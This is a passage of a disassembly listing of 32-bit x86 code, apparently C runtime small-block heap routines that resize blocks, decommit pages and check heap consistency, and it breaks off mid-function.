mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_421436
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_42119B
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_4211A2
loc_42119B: ; CODE XREF: sub_421110+7Ej
xor eax, eax
jmp loc_4216F7
; ---------------------------------------------------------------------------
loc_4211A2: ; CODE XREF: sub_421110+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_4211BB
mov [ebp+var_20], 3Fh
loc_4211BB: ; CODE XREF: sub_421110+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_42129D
cmp [ebp+var_20], 20h
jnb short loc_421232
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_421230
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_421230: ; CODE XREF: sub_421110+106j
jmp short loc_42129D
; ---------------------------------------------------------------------------
loc_421232: ; CODE XREF: sub_421110+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_42129D
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_42129D: ; CODE XREF: sub_421110+B7j
; sub_421110:loc_421230j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_421417
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_4212F3
mov [ebp+var_20], 3Fh
loc_4212F3: ; CODE XREF: sub_421110+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_421403
cmp [ebp+var_20], 20h
jnb short loc_42139C
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_42137A
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42137A: ; CODE XREF: sub_421110+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_421403
; ---------------------------------------------------------------------------
loc_42139C: ; CODE XREF: sub_421110+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_4213DA
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_4213DA: ; CODE XREF: sub_421110+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_421403: ; CODE XREF: sub_421110+225j
; sub_421110+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_421417: ; CODE XREF: sub_421110+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_4216F2
; ---------------------------------------------------------------------------
loc_421436: ; CODE XREF: sub_421110+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_4216F2
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_421487
mov [ebp+var_24], 3Fh
loc_421487: ; CODE XREF: sub_421110+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_4215D0
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_4214AE
mov [ebp+var_20], 3Fh
loc_4214AE: ; CODE XREF: sub_421110+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_421590
cmp [ebp+var_20], 20h
jnb short loc_421525
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_421523
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_421523: ; CODE XREF: sub_421110+3F9j
jmp short loc_421590
; ---------------------------------------------------------------------------
loc_421525: ; CODE XREF: sub_421110+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_421590
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_421590: ; CODE XREF: sub_421110+3AAj
; sub_421110:loc_421523j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_4215D0
mov [ebp+var_24], 3Fh
loc_4215D0: ; CODE XREF: sub_421110+37Fj
; sub_421110+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_4216DE
cmp [ebp+var_24], 20h
jnb short loc_421678
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_421656
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_421656: ; CODE XREF: sub_421110+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_4216DE
; ---------------------------------------------------------------------------
loc_421678: ; CODE XREF: sub_421110+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_4216B5
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4216B5: ; CODE XREF: sub_421110+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_4216DE: ; CODE XREF: sub_421110+502j
; sub_421110+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_4216F2: ; CODE XREF: sub_421110+321j
; sub_421110+32Cj
mov eax, 1
loc_4216F7: ; CODE XREF: sub_421110+8Dj
mov esp, ebp
pop ebp
retn
sub_421110 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4EFF74, 0
jz loc_42182C
mov eax, dword_4EFF6C
shl eax, 0Fh
mov ecx, dword_4EFF74
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
call dword_4F148C ; VirtualFree
mov edx, 80000000h
mov ecx, dword_4EFF6C
shr edx, cl
mov eax, dword_4EFF74
mov ecx, [eax+8]
or ecx, edx
mov edx, dword_4EFF74
mov [edx+8], ecx
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov edx, dword_4EFF6C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, dword_4EFF74
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, dword_4EFF74
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_4217B2
mov edx, dword_4EFF74
mov eax, [edx+4]
and al, 0FEh
mov ecx, dword_4EFF74
mov [ecx+4], eax
loc_4217B2: ; CODE XREF: .nsp0:0042179Cj
mov edx, dword_4EFF74
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_421822
cmp dword_4EFF78, 1
jle short loc_421822
mov eax, dword_4EFF74
mov ecx, [eax+10h]
push ecx
push 0
mov edx, dword_4EFF80
push edx
call dword_4F1480 ; RtlFreeHeap
mov eax, dword_4EFF78
imul eax, 14h
mov ecx, dword_4EFF7C
add ecx, eax
mov edx, dword_4EFF74
add edx, 14h
sub ecx, edx
push ecx
mov eax, dword_4EFF74
add eax, 14h
push eax
mov ecx, dword_4EFF74
push ecx
call sub_41D520
add esp, 0Ch
mov edx, dword_4EFF78
sub edx, 1
mov dword_4EFF78, edx
loc_421822: ; CODE XREF: .nsp0:004217BCj
; .nsp0:004217C5j
mov dword_4EFF74, 0
loc_42182C: ; CODE XREF: .nsp0:0042170Bj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421830 proc near ; CODE XREF: sub_420030+15p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, dword_4EFF78
imul eax, 14h
push eax
mov ecx, dword_4EFF7C
push ecx
call dword_4F1438 ; IsBadWritePtr
test eax, eax
jz short loc_42185B
or eax, 0FFFFFFFFh
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_42185B: ; CODE XREF: sub_421830+21j
mov edx, dword_4EFF7C
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_421882
; ---------------------------------------------------------------------------
loc_421873: ; CODE XREF: sub_421830+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_421882: ; CODE XREF: sub_421830+41j
mov ecx, [ebp+var_120]
cmp ecx, dword_4EFF78
jge loc_421E47
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call dword_4F1438 ; IsBadWritePtr
test eax, eax
jz short loc_4218C3
mov eax, 0FFFFFFFEh
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_4218C3: ; CODE XREF: sub_421830+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_421913
; ---------------------------------------------------------------------------
loc_42190A: ; CODE XREF: sub_421830+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_421913: ; CODE XREF: sub_421830+D8j
cmp [ebp+var_C], 20h
jge loc_421E0B
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_421956
; ---------------------------------------------------------------------------
loc_421947: ; CODE XREF: sub_421830+140j
mov edx, [ebp+var_14C]
add edx, 1
mov [ebp+var_14C], edx
loc_421956: ; CODE XREF: sub_421830+115j
cmp [ebp+var_14C], 40h
jge short loc_421972
mov eax, [ebp+var_14C]
mov [ebp+eax*4+var_118], 0
jmp short loc_421947
; ---------------------------------------------------------------------------
loc_421972: ; CODE XREF: sub_421830+12Dj
cmp [ebp+var_4], 0
jl loc_421DAD
push 8000h
mov ecx, [ebp+var_128]
push ecx
call dword_4F1438 ; IsBadWritePtr
test eax, eax
jz short loc_42199C
mov eax, 0FFFFFFFCh
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_42199C: ; CODE XREF: sub_421830+160j
mov edx, [ebp+var_128]
mov [ebp+var_8], edx
mov [ebp+var_140], 0
jmp short loc_4219C0
; ---------------------------------------------------------------------------
loc_4219B1: ; CODE XREF: sub_421830+30Fj
mov eax, [ebp+var_140]
add eax, 1
mov [ebp+var_140], eax
loc_4219C0: ; CODE XREF: sub_421830+17Fj
cmp [ebp+var_140], 8
jge loc_421B44
mov ecx, [ebp+var_8]
add ecx, 0Ch
mov [ebp+var_130], ecx
mov edx, [ebp+var_130]
add edx, 0FF0h
mov [ebp+var_138], edx
mov eax, [ebp+var_130]
cmp dword ptr [eax-4], 0FFFFFFFFh
jnz short loc_421A02
mov ecx, [ebp+var_138]
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_421A0C
loc_421A02: ; CODE XREF: sub_421830+1C5j
mov eax, 0FFFFFFFBh
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421A0C: ; CODE XREF: sub_421830+1D0j
; sub_421830+2E6j
mov edx, [ebp+var_130]
mov eax, [edx]
mov [ebp+var_148], eax
mov ecx, [ebp+var_148]
mov [ebp+var_154], ecx
mov edx, [ebp+var_154]
and edx, 1
test edx, edx
jz short loc_421A69
mov eax, [ebp+var_148]
sub eax, 1
mov [ebp+var_148], eax
cmp [ebp+var_148], 400h
jle short loc_421A58
mov eax, 0FFFFFFFAh
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421A58: ; CODE XREF: sub_421830+21Cj
mov ecx, [ebp+var_12C]
add ecx, 1
mov [ebp+var_12C], ecx
jmp short loc_421AAB
; ---------------------------------------------------------------------------
loc_421A69: ; CODE XREF: sub_421830+201j
mov edx, [ebp+var_148]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_421A8E
mov [ebp+var_14C], 3Fh
loc_421A8E: ; CODE XREF: sub_421830+252j
mov eax, [ebp+var_14C]
mov ecx, [ebp+eax*4+var_118]
add ecx, 1
mov edx, [ebp+var_14C]
mov [ebp+edx*4+var_118], ecx
loc_421AAB: ; CODE XREF: sub_421830+237j
cmp [ebp+var_148], 10h
jl short loc_421ACD
mov eax, [ebp+var_148]
and eax, 0Fh
test eax, eax
jnz short loc_421ACD
cmp [ebp+var_148], 0FF0h
jle short loc_421AD7
loc_421ACD: ; CODE XREF: sub_421830+282j
; sub_421830+28Fj
mov eax, 0FFFFFFF9h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421AD7: ; CODE XREF: sub_421830+29Bj
mov ecx, [ebp+var_130]
add ecx, [ebp+var_148]
mov edx, [ecx-4]
cmp edx, [ebp+var_154]
jz short loc_421AF8
mov eax, 0FFFFFFF8h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421AF8: ; CODE XREF: sub_421830+2BCj
mov eax, [ebp+var_130]
add eax, [ebp+var_148]
mov [ebp+var_130], eax
mov ecx, [ebp+var_130]
cmp ecx, [ebp+var_138]
jb loc_421A0C
mov edx, [ebp+var_130]
cmp edx, [ebp+var_138]
jz short loc_421B34
mov eax, 0FFFFFFF8h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421B34: ; CODE XREF: sub_421830+2F8j
mov eax, [ebp+var_8]
add eax, 1000h
mov [ebp+var_8], eax
jmp loc_4219B1
; ---------------------------------------------------------------------------
loc_421B44: ; CODE XREF: sub_421830+197j
mov ecx, [ebp+var_18]
mov edx, [ecx]
cmp edx, [ebp+var_12C]
jz short loc_421B5B
mov eax, 0FFFFFFF7h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421B5B: ; CODE XREF: sub_421830+31Fj
mov eax, [ebp+var_18]
mov [ebp+var_134], eax
mov [ebp+var_14], 0
jmp short loc_421B76
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421830+578j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_421B76: ; CODE XREF: sub_421830+33Bj
cmp [ebp+var_14], 40h
jge loc_421DAD
mov [ebp+var_168], 0
mov edx, [ebp+var_134]
mov [ebp+var_130], edx
loc_421B96: ; CODE XREF: sub_421830+4A5j
mov eax, [ebp+var_130]
mov ecx, [eax+4]
mov [ebp+var_15C], ecx
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_134]
jz loc_421CDA
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz loc_421CDA
mov edx, [ebp+var_15C]
cmp edx, [ebp+var_128]
jb short loc_421BEE
mov eax, [ebp+var_128]
add eax, 8000h
cmp [ebp+var_15C], eax
jb short loc_421BF8
loc_421BEE: ; CODE XREF: sub_421830+3A9j
mov eax, 0FFFFFFF6h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421BF8: ; CODE XREF: sub_421830+3BCj
mov ecx, [ebp+var_15C]
and ecx, 0FFFFF000h
mov [ebp+var_164], ecx
mov edx, [ebp+var_164]
add edx, 0Ch
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
add eax, 0FF0h
mov [ebp+var_124], eax
loc_421C24: ; CODE XREF: sub_421830+41Cj
mov ecx, [ebp+var_10]
cmp ecx, [ebp+var_124]
jz short loc_421C4E
mov edx, [ebp+var_10]
cmp edx, [ebp+var_15C]
jnz short loc_421C3C
jmp short loc_421C4E
; ---------------------------------------------------------------------------
loc_421C3C: ; CODE XREF: sub_421830+408j
mov eax, [ebp+var_10]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_10], edx
jmp short loc_421C24
; ---------------------------------------------------------------------------
loc_421C4E: ; CODE XREF: sub_421830+3FDj
; sub_421830+40Aj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_124]
jnz short loc_421C63
mov eax, 0FFFFFFF5h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421C63: ; CODE XREF: sub_421830+427j
mov ecx, [ebp+var_15C]
mov edx, [ecx]
sar edx, 4
sub edx, 1
mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_421C8A
mov [ebp+var_14C], 3Fh
loc_421C8A: ; CODE XREF: sub_421830+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_421C9F
mov eax, 0FFFFFFF4h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421C9F: ; CODE XREF: sub_421830+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_421CBA
mov eax, 0FFFFFFF3h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421CBA: ; CODE XREF: sub_421830+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_421B96
; ---------------------------------------------------------------------------
loc_421CDA: ; CODE XREF: sub_421830+381j
; sub_421830+397j
cmp [ebp+var_168], 0
jz short loc_421D51
cmp [ebp+var_14], 20h
jge short loc_421D1B
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_421D51
; ---------------------------------------------------------------------------
loc_421D1B: ; CODE XREF: sub_421830+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_421D51: ; CODE XREF: sub_421830+4B1j
; sub_421830+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_421D74
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_421D7E
loc_421D74: ; CODE XREF: sub_421830+530j
mov eax, 0FFFFFFF2h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421D7E: ; CODE XREF: sub_421830+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_421D99
mov eax, 0FFFFFFF1h
jmp loc_421E49
; ---------------------------------------------------------------------------
loc_421D99: ; CODE XREF: sub_421830+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_421B6D
; ---------------------------------------------------------------------------
loc_421DAD: ; CODE XREF: sub_421830+146j
; sub_421830+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_421DDA
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_421DE1
loc_421DDA: ; CODE XREF: sub_421830+590j
mov eax, 0FFFFFFF0h
jmp short loc_421E49
; ---------------------------------------------------------------------------
loc_421DE1: ; CODE XREF: sub_421830+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_42190A
; ---------------------------------------------------------------------------
loc_421E0B: ; CODE XREF: sub_421830+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_421E2C
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_421E33
loc_421E2C: ; CODE XREF: sub_421830+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_421E49
; ---------------------------------------------------------------------------
loc_421E33: ; CODE XREF: sub_421830+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
